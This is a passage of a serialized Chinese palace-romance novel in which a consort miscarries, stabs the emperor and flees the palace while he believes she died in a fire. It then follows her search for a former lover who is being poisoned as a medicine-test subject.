顾时的不停示好,无限宽容,让泠川原本快速消逝的爱情停滞了,变得不知所措又茫然。 于理性而言,她已经有了深刻的领略,进步很大,现在已经可以理性地抛弃感情因素来执行最优解,保全自己和秦思昭,再也不会意气用事。 可于感情而言,她反倒退步成了一个不知所措的孩子。 不,就连孩子都不如,她从小就知道自己喜欢什么,讨厌什么,可现在却迷茫失措了。她一直引以为傲的精神,在顾时这里失灵了。 “参见陛下……” 几个太医跪得整整齐齐,互相为难地看着对方,这可真是个不讨好的差事。 “还有我呢。” 泠川见来的是几位太医,瞬间了然于胸,摆出了气定神闲的架子,高傲地瞥了他们一眼,几个太医听到她尖锐明亮的声音,瞬间打了个寒颤。 她怎么也在这儿,这让他们可怎么开口。 不是特意叮嘱过只告诉陛下,不告诉她吗? 她为什么也跟了过来,这可真是个难伺候的主…… 最高的位置上只放了一把椅子,上面放了明黄色的软垫,顾时拉着泠川的手,让她先坐,又命人随便搬了一把椅子来。 “你有身孕,便坐在这里吧,我不要紧的。” 泠川得意洋洋地坐了下来,居高临下地看着他。 太医看了这一幕,瞬间冷汗直流。 这绝对是个吃力不讨好的差事,这让他们可怎么开口。 乌头师父讲得很清楚,说这是一枚假死药。 他越说越气,气得手舞足蹈,便一口气把事实经过尽数说了出来。 假死药的秘方一向是只传给亲传弟子,概不外露的,是秦思昭把他灌醉,偷看了假死药的配方,之后配出了药。 要不底下那一长串还是省了吧……全是臆测,没有实际证据。 “陛下……娘娘之前有一枚来源不明的药,送去太医院检验,如今已经出结果了……” 太医踌躇着说道。 顾时第一反应是泠川悄悄藏了毒药,要么是想悄悄毒死他,要么就是想要悄悄毒死自己。 他紧张地握紧了拳头。 “不过就是一枚药的事,何故把我叫来。” “那是……乌头师父只传给亲传弟子的……假死药……” “哦,这样啊。” 泠川的声音依然很冷静,直视着太医,露出一个狡黠的笑容。 “那我问你,这乌头师父有没有过一个当了道士的亲传弟子?这枚药是一个老道给我的,说是能当护身符,我才收着。” 她叹了口气,继续说: “果不其然,这药刚被送去检验,我就意外落水,差点死了。” 这一个死字,一下刺激了顾时的神经。 他的指甲狠狠嵌入了手心,黏湿的血液涌了出来,混在指甲里。 泠川摆了摆手。 “照我说,有时候人还是得信点什么,不能太不信邪,没什么大不了的,你们都散了吧。” 太医小心翼翼地把那枚药放在了案上,抬头看顾时的脸色。 “看什么看!都给我散了!” “是……臣告退……” 几个太医面色惨白,一股脑地散去了。 顾时的脸色阴沉的可怕,空气几乎凝固住了。 泠川没忍住缩了缩脖子,她第一次对顾时感到了恐惧。 她低头,发现自己的手在不停地颤抖,她觉得顾时变得十分陌生,就像一个人形的怪物一般。 顾时走上前去,拔开那小药瓶的塞子,把药倒进手心,仔仔细细看着。 第74章 忽然,他把这假死药狠狠摔在了地上,一脚踩了上去,把地面跺得咚咚作响。 地面每响一声,泠川便把上半身往后躲了躲,丝毫不敢喘气,更不敢抬眼去看他。 他背对着她,眼睛深深陷入眼眶里,没有什么多余的动作,只是捏紧了拳头,她低着头,只看见他手背上鼓起的青筋,又猛地把视线移开。 顾时扭过头来,看了看她,又好似看见了什么脏东西似的,马上把头扭了过去。他只觉得她的身影比正午的阳光还要刺眼。 他迈开腿,向前走着。 起初的几步很慢很慢,像是双腿有千斤之重,可他很快就加快了步伐,一言不发地离开了这里。 泠川缩在椅子里,瑟瑟发抖地听着他的脚步声,节奏越来越快,声音越来越低,竟然渐渐消失了。 确认了那脚步声完全消失,泠川才摸着黑,哆哆嗦嗦地,慢慢走出去,她觉得自己的双腿发软,额头上全是冷汗,她这辈子都没这样脆弱过。 她并不是猛然觉悟自己已经犯下了冒犯天威的大罪才吓得瑟瑟发抖。而是一种复杂怪异的愧疚感和罪恶感。 这并不是一个庶民对权力的恐惧,而是妻子对丈夫的愧疚。 这过道可真是黑,简直伸手不见五指,她只能摸着墙壁,借着一点微弱的火光,一步一步,慢慢地挪出去。 走着走着,她开始疑心自己兜起了圈子,她不禁开始质疑自己何时才能重见天日,她真的还能走得出去吗? 到底这段路还要走多久才能出去……她不知道自己还要走到什么时候。 漆黑的环境让她产生了一种生理性的恐惧,她觉得自己在危险的环境里落单了,焦虑地伸手摸了摸头上的簪刀。 她摸了摸自己的胸口,不知为何,她现在反倒特别想找到顾时,想告诉他一切。她并不是为了折磨他,而是想要跟他坐下来好好谈谈。 她想告诉他,她还爱他,这次是出于真心,她也想告诉他她现在想好好把这个孩子生下来,只因为他喜欢。 也许她对不起他,她不该故意折磨他,让他这么痛苦的…… 泠川擦了擦流下的眼泪。 砰—— 她已经是冷汗涔涔,浸透衣衫,忽然猛然撞到了一个什么东西,直直向后摔去,直接瘫坐在了地上。 “顾时……对不起……” 泠川低声说道。 她没看到那人的脸,也没听到他的声音。 但仅凭撞到他的触感,她就能辨认得出那是顾时。 她对他早已非常熟悉。 忽然,她只感觉到一个沉甸甸的身子压在了她的身上,她还没来得及反应过来发生了什么,便是一阵剧烈收缩的疼痛从小腹传来。 她觉得四肢酸软,早已没了力气,只能低声啜泣着。 过了一阵,空气中也涌起了一丝不易察觉的血腥味。 “跟我走。” 他发现泠川躺在地上,完全不肯站起来,又一声不吭,只能压抑着愤怒把她抱在怀里。 走出去后,顾时觉得自己的膝盖有些粘湿,一低头,发现自己的白衣下摆,不知何时已经被血浸透,顿时膝盖一软。 血腥味仿佛一瞬间便浓郁了百倍,他觉得自己掉进了地狱十八层的血窟。 顾时眼前一阵发白,阵阵发晕,胃里翻江倒海。 他用最后的意志力把泠川放在一旁的榻上,直直地倒了下去。 他昏倒前,看到的最后一幕,是她裙摆上腥黑的肉块。 泠川的余光瞥见了他直直倒在地上,她的脸色已经白得像纸,只用最后的力气把随身携带的止血药放进口中,随后就因出血过多而昏了过去。 醒来时,一个宫女站在她床边啜泣。 她哭得颇为梨花带雨,一边哭,一边用帕子擦着眼泪。 “是顾时死了吗?” 她想起自己之前看见顾时扑通一声,直直昏了过去,又见宫女哭成这样,便随口问道。 “没有啊。” 宫女吓得花容失色。 “那你哭什么劲。” 泠川皱了皱眉。 “是您……是您……” 她犹豫着不敢开口,吓得跪在了地上。 是她不该哭的,出了这么大的事,还让泠川看见她哭哭啼啼的样子,万一影响了她的身子可怎么办。 “求娘娘恕罪,是奴婢的哭泣打扰了您。” 她吓得接连磕头,泠川不耐烦地摆了摆手,虚弱地说: “出去吧。” 过了一阵,女医面色苍白地走了进来。 “娘娘……您……保重好身体,不要伤心过度了……” 她斟酌着用词。 “顾时怎么样?还活着吗?” “陛下是受刺激太大,忽然晕了过去,现在已经醒了。” 她用帕子抹了抹眼泪。 “娘娘孕期多舛,这个孩子能保到现在已经实属不易,您莫要伤心过度。” “哦。” 泠川只应了一声,并没有什么特别的反应。 她现在只觉得解脱。 一切的是是非非,都已经与她无关了。 只是顾时让她流的血,得一丝不差地赔给她。 “既然他醒了,为什么不来看我?” 泠川没看她的眼睛,只是躺在床上,淡淡地说: “叫他来看我。” 女医点了点头,行了个礼,便起身去了。 另一个宫女拿了一碗红糖水来,泠川尽数喝了,又叫宫女给她拿了几样东西来吃,补充了□□力。 不过片刻,顾时真的来了。 他换了身青蓝色的衣裳,面色惨白,眼神躲闪,半跪在她的床前。 见顾时真的来了,她有些讶异地挑了挑眉,她以为他不会来的。 毕竟顾时最常做的事就是逃避,就像蚕蛹一般,把自己裹在一个茧中,又像一只受了惊的兔子,把自己藏在洞窟里。 想到她会同他一起走到生命的尽头,她就觉得发怨。 不管她和他是何等的情笃意浓,迟早都会变得无话可通。 所以就让这一切都结束吧……趁着这个机会。 他不会追上来的,泠川知道。 就像她之前被他禁足,呕吐难受,他也不肯来看一眼,只一味的逃避一般。 这次他也只会一味逃避。 “顾时,我要和你分开,你别管我去哪,只跟别人说我因为伤心过度出家了便是。” 讲这句话说出来时,她觉得自己像是卸下了一个无比沉重的担子。 “嗯。” 顾时只点了点头。 “你凑过来一些。” 泠川不耐烦地摆了摆手,顾时便真的把头凑过去了。 随后,他的脖颈上血如泉涌。 那银色的簪刀,直直地贯穿了顾时的锁骨,一阵鲜明锋利的刺痛从他的脖颈上传来,他整个上半身开始不停战栗,抽搐。 “你欠我的血得还给我。” 她气若游丝地说道,手却毫不留情地把银簪刀捅得更深了些。 他捂住了自己的脖子,血液不停从指缝里流了出来。 痛感一阵一阵从伤处传来,顾时的心底莫名其妙产生了一种懊悔和快意混合的感觉,他打心底里觉得泠川就应该这样对待他,贯穿他,支配他。 泠川扶着床,紧了紧衣领,慢慢地走了下去。 “我今日就走,先去你王府那里借住几天,身体恢复后,你就别管我去哪了。” 她回头看了看他,顾时正半跪在地上,虚弱地将手臂倚靠在床边,他的脖颈处鲜血淋漓,双眼湿润,皮肤苍白,几乎是一种陶瓷的质感,嘴唇却微微发红,平添几分艳色。 他正轻轻咬着下唇,浑身上下微弱地颤抖着,品味着这种痛感,头发散开了一半,黑发披在胸前。 “这下咱们便扯平了。” 泠川面无表情地丢下了这样一句话。 “不行,你不能走!我已经叫侍卫来了。” 宫女直呼大事不妙,赶紧往屏风后瞥了一眼,瞬间大惊失色,摆出了拼命的架势拦住泠川。 “让她走。” 顾时的嘴角挂上了一种怪异的微笑,像是在品味某种蜜糖一般。 “我……奴婢去叫太医……” 宫女惨白着脸,提起裙子,匆匆跑了出去。 一个侍卫进来,拔出剑,便想当场杀掉泠川,她吓得往后躲了一躲,那把剑,削掉了她半边的头发丝。 “自刎!” 顾时命令道。 侍卫愣了,停下了手中的动作,呆呆地看着浑身是血,头发披散下来,半跪在地上的顾时。 “没听到吗?我叫你自刎。” 他皱起了眉头。 侍卫只得哆哆嗦嗦地拿起剑,横在了自己的脖子上,泠川吓得往后退了几步。 “不至于吧……” 她皱着眉,几乎被吓得失色。 “顾时,赶紧收回成命吧,他罪不至此。” “不行。” 他紧蹙眉头,半倚在床边上。 泠川转头看着那个侍卫,说道: “你快跑吧,事我帮你扛着……” “自刎。” 顾时又重复了一遍命令。 泠川回头看着他,尖叫道: “你疯了吧!太可怕了!这是……这根本就没有理由啊……” 侍卫不停发抖,把剑横在了自己的脖子上,双眼死死盯着泠川,露出了一个憎恨,恐惧,敬畏混合着的表情。 他先是刺破了自己的表皮,血流了出来,泠川开始控制不住地尖叫。 “出去再自刎,不然你会吓到她。” 顾时冷漠地说。 第75章 “自刎,你家中老小我会负责。” 侍卫脸色惨白,噗通一声,声音颤抖着跪下谢恩。 他眼泪哗哗地落了下来,扶着墙,踉踉跄跄地走到了外面,跟其余赶来的侍卫交代了情况,寻了处僻静的地方,挥刀自刎。 血和泪一起,哗啦啦地流了满地,他至死都没合上眼。 泠川早已吓得面色惨白如纸,她只能强撑着架势给自己壮胆,尖声道: “顾时,我去意已决,你别觉得来这一套就能吓住我。” “嗯。” 他只点了点头。 “你要走便走,我何曾拦你。” 泠川说不上自己现在心里是个什么感受,她双腿打着摆子,竭尽全力才能不瘫坐在地上。 “呸!你这种人让我觉得丢脸!” 她扭过头,冲着顾时吐了口吐沫,转过头去,拖着瘫软的双腿,恨恨地走了。 ………… 金盏打着哈欠,抱着猫,忽然见几个小宫女鬼鬼祟祟地走进了后山。 “我见有几个侍卫急匆匆地进了殿,究竟是做什么去了呢?” 金盏心中觉得闹得慌,好像又要有人打破她短暂的平静生活,给她添上许多麻烦。 好不容易混出来了,现在月钱多,事儿又少,还颇有地位,手下管理着十几号宫女差使,时不时的还有几个宫女给她献献殷勤,这样的日子神仙看了都羡慕。 谁要是让她不好过,她就跟谁没完。 她悄悄地跟了上去,只见那几个姑娘嚼着舌根。 “我见有侍卫急匆匆地进了殿,说是要……护驾?” “嘘……可不敢瞎说。” 另一个姑娘赶紧去捂她的嘴。 金盏大摇大摆地走上前去,高声说道: “她说得对,是不能瞎说话。” 金盏心中高呼不好,肯定是出什么大事了,却松松散散地揣着手,维持着一副气定神闲的模样。 几个姑娘面面相觑,露出尴尬的神情。 她冷哼一声,走到了那个说闲话的姑娘面前: “说闲话者,罚月钱一个月,跟我走去认罚,其余姑娘都散了吧。” “金盏姑姑,饶了我吧。” 那姑娘眼神闪躲,低声哀求道。 “饶了你?我能饶了你,陛下会饶了你吗?管不住嘴是个什么下场?你单独跟我来!” 她高声训斥道。 见其余姑娘都走了,她又换上了一副和蔼的表情,微笑着问她: “到底发生什么事了?跟我讲清楚。” “我……我也知道得不全……我只看见一队侍卫匆匆进了殿,没过多久,就又脸色非常不好地出来了。” 她吓得嘴唇发紫。 金盏拍了拍她的肩膀,说道: “这次就先不罚你的月钱了,你别跟旁人说,悄悄地,自己知道就行了,这些事以后第一时间要跟我说,不要瞎传闲话,到时候传开了,大家都要一起掉脑袋。” 小宫女连连点头。 “谢过金盏姑姑……谢过金盏姑姑……” 金盏不悦地皱起了眉,说道: “叫姐姐!” “谢过金盏姐姐……” 小宫女不禁哑然失笑,又连忙用袖子掩住了嘴。 金盏又抓着她,细细问过了具体地点,便匆匆赶去了。 她刚赶去,就见到泠川面色惨白如纸,整个人像一朵被踩了一脚的石榴花似的,头发汗湿了,一绺一绺地搭在前额,衣裳倒是干净,明显新换过,整个人往一旁倒去,叫人扶着才堪堪从殿里走出来。 “哎呦我的祖宗,您都这个样子了,还不赶紧去床上歇着,还逞强下地做什么?” 金盏只动嘴不动手,只任由那个宫女搀扶着她,自己动都不动。 “叫个轿子,抬我去琮翠殿。” 她自知这个状态想赶路也太勉强了些,只得先去琮翠殿休息,顺便收拾些金银细软再走。 回了琮翠殿,金盏叫两个力气大的宫女把她抬到床上去休息,泠川一躺下便不想起来了,觉得浑身松软,跟陷进床上了似的。 自己这个样子……又如何能走得了呢…… 她直接沉沉地睡了过去,一觉醒来,四周空落落的,一个人都没有。 她觉得身上有些不适,腰杆子如蛇一般拧来拧去,翻腾了一阵,终于起身了。 她起身,换上了一件相对不那么起眼的衣裳……还是太过于打眼,她不想被一出门就被抢,索性找了一件素裙出来,给自己套上了。 她直接去翻梳妆柜,却发现里面的金银珠宝尽数空了,她不气反笑,真没想到顾时还有这种暗戳戳的小心思,她还以为他只会一味地当缩头乌龟呢。 无妨,她早有准备,压箱底的私房钱还在,再说这些绫罗绸缎都是能当钱的,也更轻便,她也能拿得动。 她气定神闲地找了把剪刀下来,把衣服上缝了宝石的值钱部分都剪了,又把金线绣的绸缎全都拿到火底下去烧,尽数烧完,留下一团一团杂乱的金线,她又把这些金线通通拿走。 顾时的钱不拿白不拿,她出走是思虑已久的务实举措,又不是故意要和顾时怄气。 她点了点,银票一共柒佰两,金线约摸着也有八两,宝石具体值多少钱她不清楚,到时候给秦思昭去算,就算她孤身一个人,这些银两节省些,也够她过一辈子的了。 琮翠殿到宫门,还有好长的一段路,她只能顶着太阳,边走边歇,磨磨蹭蹭地走着。 这一路上都没碰见什么宫人,她心中也不觉得奇怪。 “泠川姑娘。” 一个声音叫住了她,她一回头,发现是金盏。 “泠川姑娘……我本来是不该来找您的,只是您要是真出了什么事,我也觉得说不过去。” 金盏焦躁地揉了揉自己不太规整的头发,她也不知道这事自己究竟该不该管。 她已经大概知道了怎么回事,泠川因为孩子没了便跟顾时闹起了和离,又一气之下捅了顾时一刀,更别提之前还有第三者插足,种种因素叠加在一起,二人便赌气闹起了分手。 可是夫妻吵架本身就是个没谱的事,都说这清官难断家务事,就算是包青天再世,要给他们二人判个是非也得愁白了一张黑脸,鬼知道他们会不会复合,泠川要是真有个好歹,她也难以交代,指不定到时候顾时又开始发疯。 她寻思,劝和不劝分,宁拆一座庙,不毁一桩婚,她还是得先劝劝和。 “您当真执意要走吗?陛下无非就是赌气,使这些小手段都是为了拦着您,叫您别走,您去服个软,这事也就过去了。” “没关系,慢慢走也是能走出去的,我藏了些银两应急,不碍事的。” 她低声说道。 金盏长长地叹了口气,说道: “也罢,也罢,我替您疏通了关系,给您找了几个人抬轿子,一路抬到能包车的地方,您注意安全。” 她领着泠川走到了暗处。 “这里有一条小道,是宫人们常走的,宫女们常从这里出去买些吃的喝的,您从这儿悄悄走了就是,不远处就有马车和人力车夫,大额的银钱别掏出来,省着些用。” “谢谢你金盏,这些年麻烦你了。” 她带着些许怀念看了她一眼。 “哎,算了!别给我来这一套!你这些年里确实是给我添了不少麻烦,我谢谢您嘞!” 金盏连连摆手,目送着她远去,暗中叹了口气,总算把这个祖宗送走了。 也不知道这两个人会是什么结局,她觉得这事还没完。 她向前走着,忽然闻到一股糊味,赶紧走上前看了看,竟然是琮翠殿起火了,半边都着了起来,还剩下半边是好的。 琮翠殿的一半变成了干焦的窟窿,另一半依旧富丽堂皇,天空乌云密布,此景异常诡异,犹如常年闹鬼的地方一般。 她瞪大了双眼,赶紧捂住了嘴,不敢惊叫出声。 不行……她不能继续掺和宫里的事了,她得赶紧辞职回家,好在她请的人都是她疏通了关系临时混进来的,这样也没什么牵扯。 本身今日她在宫中逗留就已经是违抗了圣旨,更别提私自请人把泠川放走。 琮翠殿本身和其他宫殿挨得就远,天空又乌云密布,很快就会下雨,火势不会失控。 与其解释是自己放走了泠川,还不如让顾时以为她烧死在里面了呢,这样至少她自己不担责。 她决定马上就走,离开这个是非之地,在顾时回过神来之前就提出出宫回家,她相信顾时现在也不想看见她。 她往地上呸了一口,又低声骂了几句,踩了几脚,这个狗皇帝,躲到行宫去当缩头王八,真是活该被戴绿帽子,呸呸呸,真晦气。 金盏回头瞥了一眼火势更旺的琮翠殿,低笑一声,老娘不伺候啦! …… 泠川顺利地到了闹市,她随身带了些铜板,买了碗便宜管饱的面条,匆匆吃了,感觉浑身又有了力气。 她不知秦思昭现在在哪里,但心情却十分雀跃。 之前他东走西窜,四处打听地去找她,现在轮到她像他一样,慢慢地去找他了。 找人也不能当个无头苍蝇嗡嗡乱撞,她决定先找个酒家住下,顺便再打听打听,能化验假死药的到底是个什么地方。 第76章 金盏急匆匆地去了行宫,她寻思顾时现在肯定没心情处理她辞职的事,她也不想这个时候去哪壶不开提哪壶。 她伺候泠川最久,顾时肯定不想看见她。 她只跟内务府通报了要出宫,把文书材料弄齐,又吩咐好了剩下的事,便匆匆卷铺盖走人。 顾时越来越焦躁,他不知泠川是已经想办法离开了,还是说她在一心一意地等着他回去。 如今已经快到晚上了,他越来越按捺不住自己焦躁的情绪,与其说是想要见到她,倒不如说是他想要一个确定的结果。 一颗心悬到天上去,落不下来,实在是越来越让他感到折磨。 “回宫。” 他随手把东西砸到了地上。 “陛下,现在已经晚了,要不您明日再回吧。” 一个宫女跪在地上,低声下气地说。 “无妨,你们不用跟着我折腾,我先带几个宫女侍卫回去便是了,金盏在哪?” “陛下,金盏姑姑刚刚提交了辞呈,说是年岁大了,想回家嫁人了。” “那便叫几个琮翠殿里当差的宫女,一起回去。” 不过是一天的功夫,泠川拖着那样的身子,能跑到哪去。 他锁骨上的伤口经过了太医的处理,如今已经肿胀了起来,稍微动一动就会产生一阵尖锐的剧痛,就连待着不动的时候,也会时不时地钝痛,连带着右边的手臂也发麻,抬不起来。 他觉得泠川的伤不会比他的更轻。 舟车劳顿,每马车颠一下,他的伤口就如同又被撕扯开了一般刺痛。 轿子抬进了宫,顾时却只闻到了一股奇怪的味道。 这味道他在什么别的地方闻见过。 他闻见这气味是在六年前,他一时兴起,进了一个小酒家,没想到却意外失火。 当时,他闻到的就是这个味道。 然后,他就认识了泠川。 父母都被烧死,孤零零的一个可怜小女孩。 然后他就爱上了她。 琮翠殿已经彻底变成了一片灰烬,地面上散布着众多的火星,像洒满了金砂。 “这是怎么回事?” 顾时的语气平静到异于此况,并不是因为他心平气和地接受了这一切,而是因为他的头脑已经一片空白,根本无法处理此事。 “陛下,恐怕是走水了。” 几个在一旁行走的侍卫纷纷跪下。 “大概多久之前走的水?” 他焦虑过度,揉了揉自己锁骨上的伤口,剧烈的刺痛传了上来,他整个上半身一颤,差点栽了下去。 几个侍卫举起火把,上前探查。 “陛下,这火烧了太久,恐怕无法辨认里面是否有……是否有残骸了。” “陛下,毕竟她是那样的身体情况,恐怕连下床都难,更别提从大火中跑出去了,请您节哀。” 一个宫女跪在地上哭了。 地面很烫,她的膝盖烫出了火泡,却不敢站起来。 节哀……节哀是什么意思…… 为什么会有人叫他节哀呢? 他为什么在这里?他来这里是为了找谁? 只有锁骨下方的痛觉那样真真切切,整个骨头下方完全被她用一把簪刀贯穿,可真是伤得不轻。 她是谁? 顾时从袖笼里掏出那簪刀,它静静地躺在他的手上,散发出犹如月光一般莹亮的光芒。 锁骨上的刺痛蔓延到了胸口,他觉得自己的心脏绞痛不堪。 顾时直直地昏倒在了轿子上。 几个侍卫赶紧把他抬到最近的宫殿里去歇下,剩下的侍卫面面相觑。 一个侍卫用旁人都听不懂的家乡土话说道: “这皇帝老儿的婆娘是不是在这里?她是跑了还是咋滴?” 另一个侍卫冷哼了一声: “一个半死不活的娘们,横竖还能跑到哪去,早就已经烧得灰都不剩了呗!为了那个婆娘,连咱们这些尽忠的死士他都杀!我看也用不着去找,直接从乱葬岗找具女尸,烧上一个晚上再丢进去,保证他看不出来。” “这样会不会太冒险了?” “冒险什么?我看就得好好治一治他。那个婆娘把他迷得五迷三道的,若是死不见尸,指不定那皇帝老儿还要怎么折腾咱们,找具女尸来烧成焦炭,直接一了百了,岂不是好?” 顾时再次醒来时,已经是次日清晨。 几个琮翠殿值班的宫女跪了一地,脸上皆挂着泪珠。 “请陛下节哀。” “活要见人,死要见尸,她的尸身呢?” “侍卫已经找到了。” 宫女抹了抹泪。 顾时呕出一口血来,他用帕子捂住,血液瞬间把帕子全部浸透,他只能把手帕甩到一边,趴着干呕。 他不禁想着,陶金荣来世间一趟,留下了什么?他们相识一场,她又留给了他什么? 一个没能诞下的孩子,一个贯穿了他锁骨,日夜疼痛的伤口,一把银质簪刀。 这簪刀是她娘亲留给她的,现在躺在他的袖笼里。 伤口会愈合,但依然会留疤。 他双眼放空,几乎已经流不出泪来,只觉得好像卸下了很沉很沉的担子,又觉得一切都失去了意义,*不知道自己从今以后要为了谁而活着。 他看着手里那支银簪,心想,这一切都已经结束了,简直就像大梦一场。 她把他们之间所有的回忆都一把火烧绝了。 闭上眼睛,他自幼长大的琮翠殿已经烧成灰烬,那金砂似的火点又出现在他的眼前,这种死法,简直就像她希望在遇到他之前,就和父母一起死在火灾里一般。 她不会再回来了,她一定不想和他葬在一起。 “送她的遗体回故乡吧……好生下葬便是。” 他想抹一抹泪,反倒把手上的血抹了满脸。 “是。” 两个宫女只能退下。 趁现在没什么人,宫女阿兰悄悄从小道溜了出去,买些吃的喝的。 她刚才哭不过是做做样子,谁会真情实感。 “啊,阿兰,你怎么在这里?” “金盏姐姐。” 没想到刚出来,就遇到了金盏。 “金盏姐姐,还好你走得快,娘娘烧死在里面了哩,侍卫都找到尸首了。” 金盏大惊失色,脸色一下变得苍白,赶紧捂住了嘴。 确实,还好她跑得快。 “那……那陛下不得……他一个人可怎么办……” 阿兰长叹了口气。 “没办法,只能尽可能地不得罪人呗。” 金盏的嘴唇忍不住地哆嗦,泠川根本就没死啊,侍卫是从哪找了一具烧焦的女尸来假冒泠川的,那可是欺君之罪,要诛九族的,若是事情暴露,难以想象那几个侍卫的下场到底是有多惨烈。 “阿兰,你别在外面逗留,赶紧回去吧。” 她劝阿兰回去后,便往回走,一路走到了一个客栈。 她敲了敲门,门吱呀一声打开,泠川就站在里面,穿着一身素衣,不加妆点地看着她,她的面颊倒是红润了许多。 “姑娘,给我看看,你是人还是鬼?” 她伸出手去掐她的脸,泠川没反应过来,平白无故被她在脸上拧了一下。 “金盏,你这是干什么?” “他以为你死了。” 金盏苍白着脸说道。 泠川被吓了一跳,往后退了两步,金盏走了进来,顺手把门关上了。 “真的,侍卫在琮翠殿里找到了一具烧焦的尸体,指不定是侍卫从哪拉来的。” 金盏严肃着一张脸说道: “你觉得他会不会去寻死?会不会把整个宫里杀得血流成河?” 泠川捂住自己的胸口,慢慢地坐了下去。 “那你要去告诉他我还活着吗?若是知情不报,算不算欺君?” 金盏翻了个白眼,说道: “我早就料到后续的麻烦事,已经麻溜的递交辞呈,准备回家了。” “你不是最怕家里人催你结婚吗?” 金盏咬了咬牙,说道: “所以我才不回呢,在这边自己做点小生意算了。” 泠川犹豫了一阵,说道: “我还是不回去找他了,他难过也就这么一阵。” 金盏叹了口气,说道: “姑娘,我也只能劝你劝到这儿了,这一带出来走动的宫女很多,您要是不想被找到,最好离这一带远一点儿。” “金盏,你知道什么地方能化验药吗?” “知道,青剂堂。怎么,你要过去找你那个小情夫?” 泠川生气了,拧着眉毛,冷着脸道: “以后就不是情夫了。” 金盏哑然失笑,又觉得一阵一阵心虚,为了自己的项上人头考虑,她得赶紧先回老家躲一躲,避一避风头。 泠川决定出门都戴上帷帽,这样就能避免被这一带来来往往的宫人给认出来。 她心想,就算顾时以为她死了又能怎样,反正她都已经跟他说清楚自己要走了,一走了之便是,没有和他报平安的义务,至于他要怎么在宫中折腾,那更是不关她的事。 总不能有她在的时候,顾时杀人就怪她,没她在的时候,又怪她不在吧。 这根本就没有道理。 她自觉身体已好了大半,秦思昭的药果然还是有效。 她思来想去,一直坐立不安,索性直接把帷帽戴在了头上,若是一个人待在这儿,只会一味的胡思乱想,她还不如行动起来,现在就出发去青剂堂。 第77章 青剂堂离这里还是有些远的,陶金荣身体疲惫,中间在客栈休息了一日,前前后后折腾了六日才找到。 舟车劳顿,她也未免觉得疲累,但她转念一想,自己这点辛苦和秦思昭这些年来的辛苦相比,根本就算不上什么,身体就又觉得来了力气。 本就亏损了身子,又连着几天连轴折腾,她的面容不免有些憔悴,只是她现在一心只想赶快找到秦思昭,也顾不上自己的容貌了。 青剂堂内,一个药童正倚在药柜旁边打着哈欠,猛然见到一纤细女子款款走来,摘下蒙着一层轻薄白纱的帷帽,轻声问道: “小兄弟好,请问秦思昭在吗?” “你找他?” 药童愣了一下,没反应过来,露出了惊异的表情。 “怎么了?我就找秦思昭,不行吗?” 她皱着眉毛问道。 “麻烦您告诉他,陶金荣来找他了。” “你确定真的要见他吗?” 药童用手抹了下鼻子,咧开嘴角,露出一个嘲讽的笑容。 “当然确定。” 药童眼神躲闪,身子摇摇晃晃地说道: “他倒是在这儿,只是我做不了主,我得先去问乌头师父。” 听到秦思昭确实在这儿,陶金荣心里的石头一下子落了地,所幸没费太大功夫就找到了他。 只过了一小会儿,一个不阴不阳,体态臃肿的中年人,高高扬起下巴,挺着将军肚,迈着四方的步子走了出来,他双眼鼓起,好似一只大□□。 “就是你要找秦思昭?” 乌头师父吹胡子瞪眼,他今日倒要来好好会一会她,这到底是个什么地狱十八层里窜出来的狐狸精修炼了媚术,勾得他最看好的徒儿如痴似醉,性命不顾。 她勾引一个男人不算完,竟然还要同时勾引两个!简直如狼似虎,奸精似鬼! 他先是翻了个白眼,又用从鼻孔里发出的嗤呼声表达了一通轻蔑,无欲则刚,他一个早就去势了的阉人,她再怎么狐媚都没用,他不吃她这一套! 乌头师父瞪圆了眼睛,气冲冲地瞪了过去,只需一眼,顿时像是一拳打到了棉花上似的,一下泄了气。 他的下巴不像方前那样高高扬起了,将军肚缩了回去,眼睛也不再跟只癞蛤蟆似的瞪着。 这女子面色苍白,一身素衣,唇上没有半点胭脂,看着有些憔悴,但确实十分惹人怜,他一个阉人看了都觉得像朵百合花似的,那小子这么多年念念不忘倒也怪不得他。 原本他还觉得为了一个女人奋不顾身的事过于匪夷所思,世间哪有这样离谱的事,秦思昭那小子指定是瞒了他什么,可如今他这么一看,倒觉得是人之常情。 “罢了,你要来看便看吧,只是别嫌弃他就成。” 陶金荣觉得这老头颇为莫名其妙,她能嫌弃他什么呢,可被他冷不丁这么一说,她的心中却越来越慌。 他冷笑一声,带着她进了暗室,阴恻恻地在她的背后说道: “很可怕吧,都是为了你他才会变成这样,他为了给你的事善后,现在已经沦为被我试药的药人了,他现在体内有好几种不同的毒素,已经时日无多,你放着荣华富贵不享,非得来祸害他一个无依无靠的孤儿做什么?简直造孽。” 陶金荣借着火光,睁大了眼,秦思昭的手臂上已经布满了疤痕和疮,污血满臂,样子十分可怖。 “荣儿……你来了……” 他想把手臂藏到背后去,不想让她看到他现在的这个样子,又赶紧背过身去,用盐水把伤口清洗干净,用绷带缠满了双臂。 看着秦思昭背过身去的样子,陶金荣几乎眼泪要掉了下来,她咬紧牙,用手背在脸上猛地一抹,扭过头去,双手叉着腰,双眼圆瞪,拉开了架势就官话里混杂着土话开骂。 “你个不男不女的狗篮子东西!什么叫我害得他,明明是你给他下了毒!你只要不给他下毒,他不就没事了吗?反倒往我身上赖!” 她气不过,想扬起手连着抽他几个耳光,想了想又把手放了下来。 “你把他弄成这个样子,你要负责!限你三天之内把我男人治好,否则我撕了你这张老脸!” 乌头师父指着她的鼻子,气得浑身发抖: “牙尖嘴利的小娘们!秦思昭,赶紧把她赶走,只要你把她赶走,我就收你为亲传弟子,师父保证把你治好。” “呸!你没听说过宁拆十座庙,不毁一桩婚?老东西,非要棒打鸳鸯做什么?我当他的老婆碍得着你的事吗?他有了老婆就不能继续当你的弟子吗?难道你就是看不得年轻男女好到一起去?原来你是个不男不女的老太监?自己不能人道,所以看见别人好在一起就眼绿?” “你……你……你……” 她语速快,又着急,骂架底气十足,乌头师父气得半个字都说不出来,真想给她弄点毒药,毒死算了,让这个十八层地狱里偷溜出来的狐狸精回地狱去。 秦思昭走到她旁边,拍了拍她的肩膀,叹了口气说道: “荣儿,别揭人家的短,怎么专门往师父的痛处戳?” 陶金荣一怔: “他还真是个太监啊。” 秦思昭尴尬地清了清嗓子,赶紧转移了话题,说道: “我没什么事,只是中了毒,这解药不能见光,所以才在暗室里试药,是药三分毒,这药的副作用也大,所以才会弄得手臂上都是伤疤,有些难看,吓着你没有?” “怎么会?我单纯就是生气他把你弄成这个样子。” 她直接把手搭在了他的脸上,皱着眉问: “你脸色怎么这么不好呢?” 秦思昭苦笑,一言不发,她拧着眉毛追问道: 